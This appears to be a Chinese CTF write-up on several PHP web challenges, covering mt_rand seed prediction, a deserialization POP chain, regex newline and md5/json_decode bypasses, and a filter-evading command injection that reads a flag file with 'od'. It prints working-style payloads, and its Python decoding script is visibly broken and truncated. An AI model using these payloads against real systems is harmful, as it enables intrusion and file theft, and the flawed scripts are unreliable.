这里进入就看到一张图片。一看到猜测随机数,这里就肯定先想到php随机数漏洞。
右击查看源码。很明显看到有前端的一些暗示,所以就可以顺着往下摸索,查看check.php。
这个可以看到随机数是用mt_srand生成的,所以就导致了一个漏洞的产生。
导致只要得到他的种子,就可以进行一个随机数的向后获取。
由于生成的是一个字符串,所以我们可以使用官方文档来进行转换。
然后再拿到./php_mt_rand中解密就好了,这里就不进行贴图了。然后就需要写一个脚本进行操作(原因:因为当时出flag的时候进行了一系列的操作)
[NISACTF 2022]popchains
这道题也是一道pop链构造的题,我记得在前几天发了一道pop链构造的题,这里直接上exp
page=new road_Is_long; $a->page->string=new make_a_change; $a->page->string->effort=new Try_Work_Hard; echo urlencode(serialize($a)); ?>[鹤城杯 2021]Middle magic 第一关
$aaa = preg_replace('/^(.*)level(.*)$/', '${1}${2}', $_GET['aaa']);
if(preg_match('/pass_the_level_1#/', $aaa)){
echo "here is level 2";
}
这里的意思就是把level匹配成${1} 注释符 ${2}这种(这里不太懂两个 ${1}是干啥的,目测是影响双写绕过)
这里漏洞点还是出在了^和 $的身上。这里的话,可以转到我博客去看下和阿帕奇换行解析漏洞点一致
//level1 payload: %0apass_the_level_1%23第二关和第三关
这里就是一个md5的绕过,同样可以去博客上面去找里面都有详细解答,这里就不做介绍了比较简单,最后一个的话,是一个json_decode的弱哈希绕过。
所以可以构造出payload
GET: aaa=%0apass_the_level_1%23 POST: admin[]=1&level_3=0&root_pwd[]=2[广东强网杯 2021 团队组]love_Pokemon
不得不说,这道题是真的难,基本上把所有的危险函数相关的字母都进行了对应的过滤,而且还进行了长度限制(这里就把异或,取反自增进行了过滤,基本上就不存在了)
思路进行用od命令读取八进制转换,进行一个[B-Z]的一个正则匹配,然后逐个匹配进行绕过
payload: myfavorite=mewtwo&dream=od%09/F[B-Z][@-Z]G //拿去进行八进制解码即可
这里也在kali机子上测试了一下正则。
写了一个8进制转16进制的脚本:
$value)
{
//echo $value; echo '
';
$flag=base_convert($value,8,16);
echo $flag;echo ' ';
$flag=$flag+' ';
//echo $flag;
}
//var_dump($flag);
?>
//python脚本
# -*- coding: utf-8 -*-
import re
import requests
flag=''
def strReverse(strDemo):
strList=list(strDemo)
if len(strList)==0 or len(strList)==1:
return strList
i=0
length=len(strList)
while i < length/2:
strList[i], strList[length-i-1]=strList[length-i-1], strList[i]
i+=1
return ''.join(strList)
url="http://www.ku51.net/ox2str/index.php"
a="0 534e 4353 4654 357b 3664 3437 6333 2d30 10 3737 6132 342d 3763 2d34 3761 6464 372d 20 3962 3862 6439 6365 6364 7d39 a 2d"
re1=re.findall("(.*?) ",a)
for i in re1:
data={"act":1,"code":'UTF8',"con":i}
req=requests.post(url,data=data).text
req="".join(req)
if type(req)==list:
continue
print(req)
if type(req11)==list:
continue
flag=flag+req11
#print(req11)
print(flag)
这里python脚本可能有点问题,我不知道为啥我出来的flag交不了,希望师傅们



